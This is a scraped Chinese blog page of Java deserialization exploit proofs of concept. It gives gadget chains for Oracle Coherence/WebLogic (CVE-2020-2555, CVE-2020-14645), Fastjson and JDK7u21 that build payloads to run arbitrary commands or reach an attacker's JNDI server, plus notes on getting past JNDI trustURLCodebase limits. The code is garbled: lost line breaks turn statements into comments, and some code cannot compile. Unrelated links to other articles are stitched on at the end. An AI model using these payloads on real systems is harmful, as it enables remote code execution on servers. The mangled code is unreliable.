Coherence01_CVE-2020-2555

  1. BadAttributeValueExpException#readObject可以调用任意类的toString方法
  2. ReflectionExtractor#extract存在动态方法调用
  3. ChainedExtractor#extract可以调用一组extract方法
  4. LimitFilter#toString可以调用到继承ValueExtractor接口任意类的extract方法
package com.javasec.pocs;import com.javasec.utils.ParseArgs;
import com.javasec.utils.Reflect;
import com.javasec.utils.SaveSerializeData;
import com.javasec.utils.SerWithUnSer;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;/* CVE-2020-2555* Gadget:*   BadAttributeValueExpException#readObject*     LimitFilter#toString*       ChainedExtractor#extract*         ReflectionExtractor#extract*         ReflectionExtractor#extract*         ReflectionExtractor#extract* 1. 构造payload时使用的Coherence依赖版本需要和目标使用的Coherence版本一致* 2. Oracle weblogic 12.1.3.0.0/12.2.1.1.0/12.2.1.2.0/12.2.1.3.0/12.2.1.4.0* */
public class Coherence01 {public static byte[] getSerializeData() throws Exception{// 创建 ValueExtractor[] 数组ValueExtractor[] valueExtractors = new ValueExtractor[]{new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]},1),new ReflectionExtractor("invoke",new Object[]{null,new Object[0]},2),new ReflectionExtractor("exec",new Object[]{ParseArgs.cmd},3)};ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);LimitFilter limitFilter = new LimitFilter();BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);// 反射对字段进行赋值Reflect.reflectSetField(badAttributeValueExpException,"val",limitFilter);Reflect.reflectSetField(limitFilter,"m_comparator",chainedExtractor);Reflect.reflectSetField(limitFilter,"m_oAnchorTop",Runtime.class);byte[] bytes = SerWithUnSer.serializeObject(badAttributeValueExpException);return bytes;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SaveSerializeData.save(bytes);SerWithUnSer.unSerializeObject(bytes);}
}

Coherence03_CVE-2020-14645

  1. ExtractorComparator#compare方法可以调用任意类的extract方法
  2. UniversalExtractor#extractComplex可以调用getXXX/isXXX方法
  3. JdbcRowSetImpl#getDatabaseMetaData方法可以实现jndi连接。
package com.javasec.pocs;import com.javasec.utils.ParseArgs;
import com.javasec.utils.Reflect;
import com.javasec.utils.SaveSerializeData;
import com.javasec.utils.SerWithUnSer;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import java.util.PriorityQueue;
/* CVE-2020-2555* Gadget:*   PriorityQueue#readObject*     ExtractorComparator#compare*       UniversalExtractor#extract*         UniversalExtractor#extractComplex*           JdbcRowSetImpl#getDatabaseMetaData*             JdbcRowSetImpl#connect* 1. 这条链只能用于 12.2.1.4.0 版本依赖,因为 UniversalExtractor 类是 12.2.1.4.0 版本特有的!* */
public class Coherence03 {public static byte[] getSerializeData() throws Exception{JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();// 设置恶意jndi地址jdbcRowSet.setDataSourceName(ParseArgs.jndi);UniversalExtractor universalExtractor = new UniversalExtractor();ExtractorComparator extractorComparator = new ExtractorComparator();PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);Reflect.reflectSetField(extractorComparator,"m_extractor",universalExtractor);Reflect.reflectSetField(universalExtractor,"m_fMethod",false);// 反射设置m_aoParam属性值,让其长度为0或者值为nullReflect.reflectSetField(universalExtractor,"m_aoParam",new Object[]{});// 反射设置m_sName属性值,让其为需要调用的isXXX/getXXX方法Reflect.reflectSetField(universalExtractor,"m_sName","getDatabaseMetaData()");// 先往priorityQueue添加两个元素,否则后面对queue[] 数组的操作无法添加真正的元素到priorityQueue中,此处try catch捕获异常,让程序继续往下执行try {priorityQueue.add(1);priorityQueue.add(2);}catch (Exception e){}// 反射获取queue[] 数组,并赋值第一个元素为jdbcRowSetObject[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");queue[0] = jdbcRowSet;byte[] bytes = SerWithUnSer.serializeObject(priorityQueue);return bytes;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SaveSerializeData.save(bytes);SerWithUnSer.unSerializeObject(bytes);}
}

Fastjson01

  1. jndi利用链添加 autoCommit 属性是为了在还原对象时调用JdbcRowSetImpl#setAutoCommit方法,进而调用connect方法触发Gadget
  2. TemplatesImpl利用链需要添加 _tfactory 属性,否则在JDK8u202会抛出异常而导致无法完成Gadget
  3. TemplatesImpl利用链因为 _name/_tfactory/_bytecodes 等字段是私有属性且没有对应的set方法,所以需要设置第二个参数为Feature.SupportNonPublicField,这是利用 TemplatesImpl 局限的地方!
  4. json还原对象属性会调用其setXXX方法进行设置,即使是不存在这个属性也会调用setXXX,jndi利用链就利用了这一点
  5. TemplatesImpl利用链中的_outputProperties属性会调用getOutputProperties方法,可以在DefaultFieldDeserializer#parseField下断点跟进!
  6. 可以在Fastjson1.2.22-24版本依赖下使用,后面的版本中把com.sun包下的类的都禁止还原了!可在checkAutoType#checkAutoType方法下断点
package com.javasec.pocs;import com.alibaba.fastjson.parser.Feature;
import com.javasec.utils.CreateTemplatesImpl;
import com.javasec.utils.ParseArgs;
import com.alibaba.fastjson.JSON;
import com.javasec.utils.SavePayloadToFile;
import java.util.Base64;
/** Gadget:*   1) Jndi  *        JdbcRowSetImpl#setAutoCommit*          JdbcRowSetImpl#connect*   2) TemplatesImpl  *        TemplatesImpl#getOutputProperties*          TemplatesImpl#newTransformer* 1. 可以在Fastjson1.2.22-24版本依赖下使用,后面的版本中把com.sun包下的类的都禁止还原了!可在checkAutoType#checkAutoType方法下断点* 2. 可以在高版本下使用* */
public class Fastjson01 {public static String getSerializeDataJndi() throws Exception{// 添加 autoCommit 属性是为了在还原对象时调用JdbcRowSetImpl#setAutoCommit方法,进而调用connect方法触发GadgetString jsonString = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";System.out.println(jsonString);return jsonString;}public static String getSerializeDataTemplatesImpl() throws Exception{// 需要添加 _tfactory 属性,否则在JDK8u202会抛出异常而导致无法完成Gadget,没有 _tfactory 属性可以在JDK8u11下成功,只测试了这两个版本String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_tfactory\":{},\"_name\":\"ky0118\",\"_bytecodes\":[\""+ Base64.getEncoder().encodeToString(CreateTemplatesImpl.getEvilBytes())+"\"],\"_outputProperties\":{}}";System.out.println(jsonString);return jsonString;return null;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);if (ParseArgs.jndi != null){String jsonString = getSerializeDataJndi();SavePayloadToFile.save(jsonString);JSON.parse(jsonString);}else if (ParseArgs.cmd != null){String jsonString = getSerializeDataTemplatesImpl();SavePayloadToFile.save(jsonString);// 这里因为 _name/_tfactory/_bytecodes 等字段是私有属性且没有对应的set方法,所以需要设置第二个参数为Feature.SupportNonPublicField,这是利用 TemplatesImpl 局限的地方!JSON.parse(jsonString, Feature.SupportNonPublicField);}}
}

JDK7u21

  1. 使用 LinkedHashSet 使得兼容性更好
  2. 在LinkedHashSet .add的时候也会触发链,需要在add之前对InvocationHandler的memberValues/type属性赋值,否则会抛出异常导致无法继续往下执行!
  3. 需要保证AnnotationInvocationHandler.memberValues属性值经过AnnotationInvocationHandler#hashCode处理之后和templatesImpl的hash值相等,为的是能成功调用key.equals 方法
package com.javasec.pocs;import com.javasec.utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
/** Gadget:*   HashSet#readObject*     AnnotationInvocationHandler#invoke*       TemplatesImpl#newTransformer* 1. 只能在JDK7u21以下版本使用!* */
public class JDK7u21 {public static byte[] getSerializeData() throws Exception{// 创建恶意 TemplatesImpl 对象TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();// 这里使用 LinkedHashSet 是为了兼容性问题LinkedHashSet hashSet = new LinkedHashSet();InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetObject("sun.reflect.annotation.AnnotationInvocationHandler", new Class[]{Class.class, Map.class}, new Object[]{null, null});// 创建动态代理对象Templates proxyTemplates = (Templates) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);HashMap hashMap = new HashMap();// 反射对字段进行赋值Reflect.reflectSetField(invocationHandler,"memberValues",hashMap);Reflect.reflectSetField(invocationHandler,"type",Templates.class);// 这里需要前面的对memberValues/type反射赋值然后再添加元素,否则会因为没有值而报错!hashSet.add(templatesImpl);hashSet.add(proxyTemplates);// 这里需要对 hashMap 赋值,保证 hashMap,也就是AnnotationInvocationHandler.memberValues属性值经过AnnotationInvocationHandler#hashCode处理之后和templatesImpl的hash值相等hashMap.put("f5a5a608",templatesImpl);byte[] bytes = SerWithUnSer.serializeObject(hashSet);return bytes;}public static void main(String[] args) throws Exception{ParseArgs.parseArgs(args);byte[] bytes = getSerializeData();SerWithUnSer.unSerializeObject(bytes);SavePayloadToFile.save(bytes);}
}

Bypass JNDI 8u191

  1. JNDI 利用 RMI 的版本限制在 com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase 这两个属性上,也就是网上说的 com.sun.jndi.rmi.object.trustURLCodebase/com.sun.jndi.cosnaming.object.trustURLCodebase ,在 JDK 6u132/JDK 7u122/JDK 8u113 以上的版本中这些属性默认为 false ,也就是默认不允许从远程服务器上加载 Reference 的工厂类!

    对属性值的检验在 RegistryContext#decodeObject 方法上

  2. JNDI 利用 LDAP 的版本限制在 com.sun.jndi.ldap.VersionHelper12 属性上,也就是网上说的 com.sun.jndi.ldap.object.trustURLCodebase ,在 JDK 11.0.1/JDK 8u191/JDK 7u201/JDK 6u211 以上的版本这些属性默认为 false,也就是默认不允许从远程服务器上加载 Reference 的工厂类!

    对属性值的检验在 com.sun.naming.internal#loadClass 方法上

  3. JNDI利用RMI会先找到这个类,然后再通过 Class.forName(className,true) 获取 Class,并实例化后强制转换为 ObjectFactory 类然后调用 ObjectFactory.getObjectInstance 方法!既然无法远程加载factory,那么让factory为本地的类,这里用到的是 BeanFactory 类,BeanFactory#getObjectInstance存在动态方法调用!通过构造可以RCE!

  4. JNDI利用LDAP,当LDAP服务器返回的数据中存在 javaserializeddata 字段则会把这个字段的数据进行反序列化,构造恶意 javaserializeddata 字段数据即可!相当于是提供了一个反序列化接口!

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. Qt5.9安装教程以及找不到.dll文件编译问题的解决

    Qt5.9安装教程即编译问题的解决 官方下载版本5.9 本人下载的是5.9.2版本,下载成功双击进入页面后到下面部分,直接注册即可。 安装路径选择自己要安装的位置,建议不要再C盘,注意安装的位置中不能有中文否则会报错 继续下一步&am…...

    2024/4/14 13:25:19
  2. Transformer主干网络——TNT保姆级解析

    前言 论文地址:arxiv 代码地址:github 接收单位:NeurIPS 2021 系列文章 Transformer主干网络——PVT_V1保姆级解析 Transformer主干网络——PVT_V2保姆级解析 Transformer主干网络——T2T-ViT保姆级解析 Transformer主干网络——TNT保姆级…...

    2024/4/14 13:23:27
  3. 02、SpringBoot 自定义starter

    自定义starter 01、starter作用 依赖聚合自定义配置类 Bean属性配置类 02、starter的命名规范 官方:spring-boot-starter -xxxx自定义:xxx-boot-starter 03、实现步骤 标准的starter工程分为两个: xxx-boot-autoconfiguration META-I…...

    2024/4/14 13:23:27
  4. 边境的悍匪—机器学习实战:第六章 决策树

    第六章 决策树 文章目录第六章 决策树前言一、思维导图二、主要内容1、训练和可视化决策树2、做出预测3、估计类概率4、CART训练算法5、计算复杂度6、基尼不纯度或熵7、正则化超参数8、回归9、不稳定性三、课后练习四、总结前言 前一章我们学习一个很强大的机器学习模型&#…...

    2024/4/14 13:23:27
  5. KVM之Hypercall机制

    这里只关注x86架构。 按内核文档中,x86架构下,KVM Hypercall是一个3字节的指令,vmcall指令或者vmmcall指令。 通过寄存器rbx、rcx、rdx、rsi,最多传输四个参数。然后hypercall的调用号存放于rax,并且调用返回值也存放…...

    2024/4/30 2:24:30
  6. .NET应用程序安全操作概述

    目录 介绍 .NET Framework 更新框架 安全公告 .NET Framework 资料存取 加密 一般 ASP NET Web表单指南 HTTP验证和编码 表格认证 ASP NET MVC指南 A1注射 A2身份验证失败 A3敏感数据暴露 A4 XML外部实体(XXE) A5损坏的访问控制 A6安全…...

    2024/4/19 13:55:57
  7. Python学习---py03 基本内置数据类型介绍

    1.整型 2.浮点型 小数,3.14或者科学计数法314e-2 3.布尔型 表示真假,仅包含:True ,False 4.字符串型 由字符组成的序列,“abc”,“你好” 运算符说明示例结果加法325-减法30-525*乘法3*618/浮点数除法8/24.0//整数除法7//23…...

    2024/4/18 17:49:35
  8. 与shell相关的命令介绍

    1.case语句 #!/usr/bin/bashecho "input passwd" read linecase "$line" in[yY][eE][sS] | [yY] ) echo "this is yes";;no ) echo "this is no";;* ) echo "this is ***";; esac 2.函数 #1.函数的基本形式,与C语言函数形…...

    2024/4/18 12:22:56
  9. 打包发布npm包

    开发属于自己的包 初始化包的基本结构 1.新建itheima-tools文件夹,作为包的根目录 2.在itheima-tools文件夹中,新建如下三个文件: package.json(包管理配置文件) index.js(包的入口文件) README.md(包的说明文档) 举例: //pack…...

    2024/4/14 13:24:13
  10. 2022/1/19 考试总结

    7:30~8:20 看完题之后先把T3 的50分写了,其余的题没什么思路 8:20~9:20 T4的O(n2V)O(n^2V)O(n2V)很好写,但是不知道怎么优化 似乎可以wqs二分,但是写起来比较麻烦,就先没写 9:20~10:20 去做看起来最可做的T1,但是…...

    2024/4/17 13:05:24
  11. 多通道输入与多通道输出的理解与实现

    多输入通道(互相关) 例如彩色图像具有标准的RGB通道来代表红、绿和蓝。当我们添加通道时,我们的输入和隐藏的表示都变成了三维张量。例如,每个RGB输入图像具有3hw3hw的形状。 将这些张量ci连结在一起可以得到形状为cikhkw的卷积…...

    2024/5/3 2:11:50
  12. 线性代数及矩阵论(九)

    文章目录二十九、相似矩阵和若尔当形1.相似矩阵2.若尔当形第三十讲:奇异值分解第三十一讲:线性变换及对应矩阵二十九、相似矩阵和若尔当形 在本讲的开始,先接着上一讲来继续说一说正定矩阵。 正定矩阵的逆矩阵有什么性质?我们将正…...

    2024/4/20 15:09:38
  13. 封装react-native组件开源到npm

    前奏 做前端也有一段时间了,封装了大大小小很多的组件,至今自己都有点想不起来了有哪些了,但都是在项目代码里面。如果想跨项目使用,要用的时候需要一个个项目去翻找,还必须copy代码过去,着实头痛。 近期…...

    2024/4/14 13:23:58
  14. 用户态的内存泄漏定位,函数重载

    待补充...

    2024/4/26 14:35:43
  15. linux开机自启应用启动失败解决方法

    环境: redhat6 进入单用户模式,把错误的开机启动应用去掉,重新启动服务即可...

    2024/4/14 13:28:46
  16. spring cloud 集成elasticsearch 查询排序

    elasticsearch 查询排序 调用 SearchSourceBuilder.sort方法 sort(String name, SortOrder order) name:字段名 SortOrder:SortOrder.DESC 倒序,SortOrder.ASC 正序 代码如下: SearchSourceBuilder searchSourceBuilder new SearchSourc…...

    2024/4/14 13:24:33
  17. caffine 本地缓存 和 currenthashmap 缓存 以及 redis 缓存 关系

    Caffeine 缓存 和 java集合缓存 以及 redis 缓存 关系 ​ 先比较前两着,比较显著的区别:1,Caffeine 缓存可以设定删除时间等删除条件、ConcurrentMap 代表的只JAVA集合类等只能动态添加保存,除非显示的删除(有可能内存…...

    2024/4/28 9:45:04
  18. 将BMP 格式图片转换为 JPEG 格式【c语言源码】

    原理及代码讲解链接: https://blog.csdn.net/qq_44394952/article/details/122587306?spm1001.2014.3001.5502. 主函数main() int main() {int mm 2;printf(" 功能:将BMP格式图片转换为JPG格式\n");while(mm ! 1 ){printf("\n&qu…...

    2024/4/17 21:48:33
  19. 西北工业大学NOJ-Python程序设计作业81-90

    西北工业大学NOJ-Python程序设计作业题解集合: NOJ-Python程序设计:第1季:水题(Season 1-Easy) (1-10) NOJ-Python程序设计:第2季:小段代码(Season 2-Snippet) (11-20) N…...

    2024/4/14 13:24:23
  20. PAT乙级 1005 继续(3n+1)猜想 (25 分)

    卡拉兹(Callatz)猜想已经在1001中给出了描述。在这个题目里,情况稍微有些复杂。 当我们验证卡拉兹猜想的时候,为了避免重复计算,可以记录下递推过程中遇到的每一个数。例如对 n3 进行验证的时候,我们需要计算 3、5、8、4、2、1&a…...

    2024/4/14 13:24:18

最新文章

  1. Linux深入学习内核 - 中断与异常(下)

    软中断,Tasklet和Work Queue 由内核执行的几个任务之间有一些不是紧急的,他们可以被延缓一段时间!把可延迟的中断从中断处理程序中抽出来,有利于使得内核保持较短的响应时间,所以我们现在使用以下面的这些结构&#x…...

    2024/5/3 4:08:29
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言,在此感激不尽。 权重和梯度的更新公式如下: w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. golang的引用和非引用总结

    目录 概述 一、基本概念 指针类型(Pointer type) 非引用类型(值类型) 引用类型(Reference Types) 解引用(dereference) 二、引用类型和非引用类型的区别 三、golang数据类型…...

    2024/4/30 7:48:08
  4. C#-实现软删除

    文章目录 前言1. 使用布尔字段标记删除状态2. 修改查询以忽略软删除的记录3. 实现软删除的方法4. 考虑使用全局查询过滤器5. 处理关联实体6. 考虑性能和存储软删除的好处:软删除的坏处: 总结 前言 后端中,经常使用软删除来标志删除一些数据。…...

    2024/4/30 1:36:16
  5. 【THM】Protocols and Servers(协议和服务器)-初级渗透测试

    介绍 这个房间向用户介绍了一些常用的协议,例如: HTTP协议文件传输协议POP3邮件传输协议IMAP每个协议的每个任务都旨在帮助我们了解底层发生的情况,并且通常被优雅的GUI(图形用户界面)隐藏。我们将使用简单的 Telnet 客户端来使用上述协议进行“对话”,以充分了解GUI客户…...

    2024/5/1 13:31:42
  6. 【外汇早评】美通胀数据走低,美元调整

    原标题:【外汇早评】美通胀数据走低,美元调整昨日美国方面公布了新一期的核心PCE物价指数数据,同比增长1.6%,低于前值和预期值的1.7%,距离美联储的通胀目标2%继续走低,通胀压力较低,且此前美国一季度GDP初值中的消费部分下滑明显,因此市场对美联储后续更可能降息的政策…...

    2024/5/1 17:30:59
  7. 【原油贵金属周评】原油多头拥挤,价格调整

    原标题:【原油贵金属周评】原油多头拥挤,价格调整本周国际劳动节,我们喜迎四天假期,但是整个金融市场确实流动性充沛,大事频发,各个商品波动剧烈。美国方面,在本周四凌晨公布5月份的利率决议和新闻发布会,维持联邦基金利率在2.25%-2.50%不变,符合市场预期。同时美联储…...

    2024/5/2 16:16:39
  8. 【外汇周评】靓丽非农不及疲软通胀影响

    原标题:【外汇周评】靓丽非农不及疲软通胀影响在刚结束的周五,美国方面公布了新一期的非农就业数据,大幅好于前值和预期,新增就业重新回到20万以上。具体数据: 美国4月非农就业人口变动 26.3万人,预期 19万人,前值 19.6万人。 美国4月失业率 3.6%,预期 3.8%,前值 3…...

    2024/4/29 2:29:43
  9. 【原油贵金属早评】库存继续增加,油价收跌

    原标题:【原油贵金属早评】库存继续增加,油价收跌周三清晨公布美国当周API原油库存数据,上周原油库存增加281万桶至4.692亿桶,增幅超过预期的74.4万桶。且有消息人士称,沙特阿美据悉将于6月向亚洲炼油厂额外出售更多原油,印度炼油商预计将每日获得至多20万桶的额外原油供…...

    2024/5/2 9:28:15
  10. 【外汇早评】日本央行会议纪要不改日元强势

    原标题:【外汇早评】日本央行会议纪要不改日元强势近两日日元大幅走强与近期市场风险情绪上升,避险资金回流日元有关,也与前一段时间的美日贸易谈判给日本缓冲期,日本方面对汇率问题也避免继续贬值有关。虽然今日早间日本央行公布的利率会议纪要仍然是支持宽松政策,但这符…...

    2024/4/27 17:58:04
  11. 【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响

    原标题:【原油贵金属早评】欧佩克稳定市场,填补伊朗问题的影响近日伊朗局势升温,导致市场担忧影响原油供给,油价试图反弹。此时OPEC表态稳定市场。据消息人士透露,沙特6月石油出口料将低于700万桶/日,沙特已经收到石油消费国提出的6月份扩大出口的“适度要求”,沙特将满…...

    2024/4/27 14:22:49
  12. 【外汇早评】美欲与伊朗重谈协议

    原标题:【外汇早评】美欲与伊朗重谈协议美国对伊朗的制裁遭到伊朗的抗议,昨日伊朗方面提出将部分退出伊核协议。而此行为又遭到欧洲方面对伊朗的谴责和警告,伊朗外长昨日回应称,欧洲国家履行它们的义务,伊核协议就能保证存续。据传闻伊朗的导弹已经对准了以色列和美国的航…...

    2024/4/28 1:28:33
  13. 【原油贵金属早评】波动率飙升,市场情绪动荡

    原标题:【原油贵金属早评】波动率飙升,市场情绪动荡因中美贸易谈判不安情绪影响,金融市场各资产品种出现明显的波动。随着美国与中方开启第十一轮谈判之际,美国按照既定计划向中国2000亿商品征收25%的关税,市场情绪有所平复,已经开始接受这一事实。虽然波动率-恐慌指数VI…...

    2024/4/30 9:43:09
  14. 【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试

    原标题:【原油贵金属周评】伊朗局势升温,黄金多头跃跃欲试美国和伊朗的局势继续升温,市场风险情绪上升,避险黄金有向上突破阻力的迹象。原油方面稍显平稳,近期美国和OPEC加大供给及市场需求回落的影响,伊朗局势并未推升油价走强。近期中美贸易谈判摩擦再度升级,美国对中…...

    2024/4/27 17:59:30
  15. 【原油贵金属早评】市场情绪继续恶化,黄金上破

    原标题:【原油贵金属早评】市场情绪继续恶化,黄金上破周初中国针对于美国加征关税的进行的反制措施引发市场情绪的大幅波动,人民币汇率出现大幅的贬值动能,金融市场受到非常明显的冲击。尤其是波动率起来之后,对于股市的表现尤其不安。隔夜美国股市出现明显的下行走势,这…...

    2024/5/2 15:04:34
  16. 【外汇早评】美伊僵持,风险情绪继续升温

    原标题:【外汇早评】美伊僵持,风险情绪继续升温昨日沙特两艘油轮再次发生爆炸事件,导致波斯湾局势进一步恶化,市场担忧美伊可能会出现摩擦生火,避险品种获得支撑,黄金和日元大幅走强。美指受中美贸易问题影响而在低位震荡。继5月12日,四艘商船在阿联酋领海附近的阿曼湾、…...

    2024/4/28 1:34:08
  17. 【原油贵金属早评】贸易冲突导致需求低迷,油价弱势

    原标题:【原油贵金属早评】贸易冲突导致需求低迷,油价弱势近日虽然伊朗局势升温,中东地区几起油船被袭击事件影响,但油价并未走高,而是出于调整结构中。由于市场预期局势失控的可能性较低,而中美贸易问题导致的全球经济衰退风险更大,需求会持续低迷,因此油价调整压力较…...

    2024/4/26 19:03:37
  18. 氧生福地 玩美北湖(上)——为时光守候两千年

    原标题:氧生福地 玩美北湖(上)——为时光守候两千年一次说走就走的旅行,只有一张高铁票的距离~ 所以,湖南郴州,我来了~ 从广州南站出发,一个半小时就到达郴州西站了。在动车上,同时改票的南风兄和我居然被分到了一个车厢,所以一路非常愉快地聊了过来。 挺好,最起…...

    2024/4/29 20:46:55
  19. 氧生福地 玩美北湖(中)——永春梯田里的美与鲜

    原标题:氧生福地 玩美北湖(中)——永春梯田里的美与鲜一觉醒来,因为大家太爱“美”照,在柳毅山庄去寻找龙女而错过了早餐时间。近十点,向导坏坏还是带着饥肠辘辘的我们去吃郴州最富有盛名的“鱼头粉”。说这是“十二分推荐”,到郴州必吃的美食之一。 哇塞!那个味美香甜…...

    2024/4/30 22:21:04
  20. 氧生福地 玩美北湖(下)——奔跑吧骚年!

    原标题:氧生福地 玩美北湖(下)——奔跑吧骚年!让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 让我们红尘做伴 活得潇潇洒洒 策马奔腾共享人世繁华 对酒当歌唱出心中喜悦 轰轰烈烈把握青春年华 啊……啊……啊 两…...

    2024/5/1 4:32:01
  21. 扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!

    原标题:扒开伪装医用面膜,翻六倍价格宰客,小姐姐注意了!扒开伪装医用面膜,翻六倍价格宰客!当行业里的某一品项火爆了,就会有很多商家蹭热度,装逼忽悠,最近火爆朋友圈的医用面膜,被沾上了污点,到底怎么回事呢? “比普通面膜安全、效果好!痘痘、痘印、敏感肌都能用…...

    2024/4/27 23:24:42
  22. 「发现」铁皮石斛仙草之神奇功效用于医用面膜

    原标题:「发现」铁皮石斛仙草之神奇功效用于医用面膜丽彦妆铁皮石斛医用面膜|石斛多糖无菌修护补水贴19大优势: 1、铁皮石斛:自唐宋以来,一直被列为皇室贡品,铁皮石斛生于海拔1600米的悬崖峭壁之上,繁殖力差,产量极低,所以古代仅供皇室、贵族享用 2、铁皮石斛自古民间…...

    2024/4/28 5:48:52
  23. 丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者

    原标题:丽彦妆\医用面膜\冷敷贴轻奢医学护肤引导者【公司简介】 广州华彬企业隶属香港华彬集团有限公司,专注美业21年,其旗下品牌: 「圣茵美」私密荷尔蒙抗衰,产后修复 「圣仪轩」私密荷尔蒙抗衰,产后修复 「花茵莳」私密荷尔蒙抗衰,产后修复 「丽彦妆」专注医学护…...

    2024/4/30 9:42:22
  24. 广州械字号面膜生产厂家OEM/ODM4项须知!

    原标题:广州械字号面膜生产厂家OEM/ODM4项须知!广州械字号面膜生产厂家OEM/ODM流程及注意事项解读: 械字号医用面膜,其实在我国并没有严格的定义,通常我们说的医美面膜指的应该是一种「医用敷料」,也就是说,医用面膜其实算作「医疗器械」的一种,又称「医用冷敷贴」。 …...

    2024/5/2 9:07:46
  25. 械字号医用眼膜缓解用眼过度到底有无作用?

    原标题:械字号医用眼膜缓解用眼过度到底有无作用?医用眼膜/械字号眼膜/医用冷敷眼贴 凝胶层为亲水高分子材料,含70%以上的水分。体表皮肤温度传导到本产品的凝胶层,热量被凝胶内水分子吸收,通过水分的蒸发带走大量的热量,可迅速地降低体表皮肤局部温度,减轻局部皮肤的灼…...

    2024/4/30 9:42:49
  26. 配置失败还原请勿关闭计算机,电脑开机屏幕上面显示,配置失败还原更改 请勿关闭计算机 开不了机 这个问题怎么办...

    解析如下:1、长按电脑电源键直至关机,然后再按一次电源健重启电脑,按F8健进入安全模式2、安全模式下进入Windows系统桌面后,按住“winR”打开运行窗口,输入“services.msc”打开服务设置3、在服务界面,选中…...

    2022/11/19 21:17:18
  27. 错误使用 reshape要执行 RESHAPE,请勿更改元素数目。

    %读入6幅图像(每一幅图像的大小是564*564) f1 imread(WashingtonDC_Band1_564.tif); subplot(3,2,1),imshow(f1); f2 imread(WashingtonDC_Band2_564.tif); subplot(3,2,2),imshow(f2); f3 imread(WashingtonDC_Band3_564.tif); subplot(3,2,3),imsho…...

    2022/11/19 21:17:16
  28. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机...

    win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”问题的解决方法在win7系统关机时如果有升级系统的或者其他需要会直接进入一个 等待界面,在等待界面中我们需要等待操作结束才能关机,虽然这比较麻烦,但是对系统进行配置和升级…...

    2022/11/19 21:17:15
  29. 台式电脑显示配置100%请勿关闭计算机,“准备配置windows 请勿关闭计算机”的解决方法...

    有不少用户在重装Win7系统或更新系统后会遇到“准备配置windows,请勿关闭计算机”的提示,要过很久才能进入系统,有的用户甚至几个小时也无法进入,下面就教大家这个问题的解决方法。第一种方法:我们首先在左下角的“开始…...

    2022/11/19 21:17:14
  30. win7 正在配置 请勿关闭计算机,怎么办Win7开机显示正在配置Windows Update请勿关机...

    置信有很多用户都跟小编一样遇到过这样的问题,电脑时发现开机屏幕显现“正在配置Windows Update,请勿关机”(如下图所示),而且还需求等大约5分钟才干进入系统。这是怎样回事呢?一切都是正常操作的,为什么开时机呈现“正…...

    2022/11/19 21:17:13
  31. 准备配置windows 请勿关闭计算机 蓝屏,Win7开机总是出现提示“配置Windows请勿关机”...

    Win7系统开机启动时总是出现“配置Windows请勿关机”的提示,没过几秒后电脑自动重启,每次开机都这样无法进入系统,此时碰到这种现象的用户就可以使用以下5种方法解决问题。方法一:开机按下F8,在出现的Windows高级启动选…...

    2022/11/19 21:17:12
  32. 准备windows请勿关闭计算机要多久,windows10系统提示正在准备windows请勿关闭计算机怎么办...

    有不少windows10系统用户反映说碰到这样一个情况,就是电脑提示正在准备windows请勿关闭计算机,碰到这样的问题该怎么解决呢,现在小编就给大家分享一下windows10系统提示正在准备windows请勿关闭计算机的具体第一种方法:1、2、依次…...

    2022/11/19 21:17:11
  33. 配置 已完成 请勿关闭计算机,win7系统关机提示“配置Windows Update已完成30%请勿关闭计算机”的解决方法...

    今天和大家分享一下win7系统重装了Win7旗舰版系统后,每次关机的时候桌面上都会显示一个“配置Windows Update的界面,提示请勿关闭计算机”,每次停留好几分钟才能正常关机,导致什么情况引起的呢?出现配置Windows Update…...

    2022/11/19 21:17:10
  34. 电脑桌面一直是清理请关闭计算机,windows7一直卡在清理 请勿关闭计算机-win7清理请勿关机,win7配置更新35%不动...

    只能是等着,别无他法。说是卡着如果你看硬盘灯应该在读写。如果从 Win 10 无法正常回滚,只能是考虑备份数据后重装系统了。解决来方案一:管理员运行cmd:net stop WuAuServcd %windir%ren SoftwareDistribution SDoldnet start WuA…...

    2022/11/19 21:17:09
  35. 计算机配置更新不起,电脑提示“配置Windows Update请勿关闭计算机”怎么办?

